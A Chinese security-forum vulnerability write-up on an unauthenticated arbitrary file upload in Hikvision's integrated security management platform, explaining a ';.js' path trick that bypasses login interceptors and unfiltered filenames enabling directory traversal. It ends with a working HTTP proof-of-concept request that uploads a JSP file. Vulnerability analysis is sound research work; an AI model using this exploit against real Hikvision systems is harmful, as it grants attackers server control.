问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
海康威视综合安防管理平台clusters页面文件上传漏洞
漏洞分析
海康威视综合安防管理平台clusters页面文件上传漏洞
### 漏洞介绍 海康威视综合安防管理平台clusters页面文件上传,未经身份验证的远程攻击者可通过该漏洞上传任意文件从而获取服务器权限。 ### 漏洞分析 鉴权绕过主要是因为springMVC-servlet.xml定义了三个拦截器:LoginInterceptor用于登录拦截、PermissionInterceptor用于目录拦截、TracingHandlerInterceptor用于日志追踪,在第一个拦截器LoginInterceptor中,它拦截所有请求路径,但排除了一些特定的请求路径,如对.css、.js、.ico、.json等文件不进行鉴权 <mvc:interceptor> <mvc:mapping path\\="/\*\*/\*" /> <mvc:exclude-mapping path\\="/center/api/session" /> <mvc:exclude-mapping path\\="/center/api/session/captcha" /> <mvc:exclude-mapping path\\="/center/api/locales" /> <mvc:exclude-mapping path\\="/\*.html" /> <mvc:exclude-mapping path\\="/\*\*/\*.html" /> <mvc:exclude-mapping path\\="/\*\*/\*.js" /> <mvc:exclude-mapping path\\="/\*\*/\*.css" /> <mvc:exclude-mapping path\\="/\*\*/\*.png" /> <mvc:exclude-mapping path\\="/\*\*/\*.gif" /> <mvc:exclude-mapping path\\="/\*\*/\*.ico" /> <mvc:exclude-mapping path\\="/\*\*/\*.hbs" /> <mvc:exclude-mapping path\\="/\*\*/\*.json" /> <mvc:exclude-mapping path\\="/\*\*/\*.ttf" /> <mvc:exclude-mapping path\\="/\*\*/\*.woff" /> <mvc:exclude-mapping path\\="/\*\*/\*.eot" /> <mvc:exclude-mapping path\\="/\*\*/\*.svg" /> <bean class\\="com.hikvision.center.module.login.interceptor.LoginInterceptor"></bean> </mvc:interceptor> 并且在cas-client.properties中也声明了以下文件不做鉴权 cas.ignore.pattern\\=/,\*.html,/login,\*.css,\*.js,\*.json,/casLogin,\*.ico,\*.icon,\*.png,\*.map,/api/meta/qrcode,/api/session,/api/session/captcha,/api/locales,/api/meta,/api/users/\*/password,/api/fileUpload/\*,/center/api/fileUpload/\*,/api/clientInstall/LatestVersion,/api/clientResourceInstall/LatestVersion,/center/api/clientInstall/LatestVersion,/center/api/clientResourceInstall/LatestVersion,/api/machines/\*/steps,/api/verifyCodeImage,/api/encryptParam,/api/webLogin,/api/modifyPassword,/api/negotiation,/api/webMachines,/api/webDelMachines 在Spring MVC中,removeSemicolonContentInternal 是一个内部方法,主要用于移除URL路径中的分号内容,因为i访问某些静态文件是不需要鉴权的,所有访问/clusterMgr/clusters/ssl/file;.js时会因为该特性解析为/clusterMgr/clusters/ssl/file从而绕过鉴权。 搜索路由`/ssl/file`,定位代码,接受参数proxyAddress和file文件,文件名fileName直接拼接在路径后面,并未有任何过滤  全局搜索关键词MultipartFile,还有其他的一些接口同样存在任意文件上传  查看其中一个接口/files,其中调用this.knowledgeService.uploadFile(file)方法上传文件  跟进该方法,filename直接从file中获取拼接在路径中,没有任何过滤,可以实现跨目录上传文件。  ### 漏洞POC POST /clusterMgr/clusters/ssl/file;.js HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/112.0.0.0 Safari/537.36 HTML Host: 8.8.8.8:1443 Accept-Encoding: gzip, deflate Connection: close Content-Type: multipart/form-data; boundary=--------------------------984514492333278399715408 Content-Length: 339 \----------------------------984514492333278399715408 Content-Disposition: form-data; name="file"; filename="languages/default.jsp" Content-Type: image/png <%out.print("111");%> \----------------------------984514492333278399715408 Content-Disposition: form-data; name="proxyAddress" 8.8.8.8 \----------------------------984514492333278399715408--  访问/clusterMgr/languages/M1.jsp;.js  另一个接口也能上传:  ### 修复方式 联系官网,升级补丁
发表于 2024-08-12 09:55:52
阅读 ( 4373 )
分类:
CMS
0 推荐
收藏
0 条评论
请先
登录
后评论
买橘子
3 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!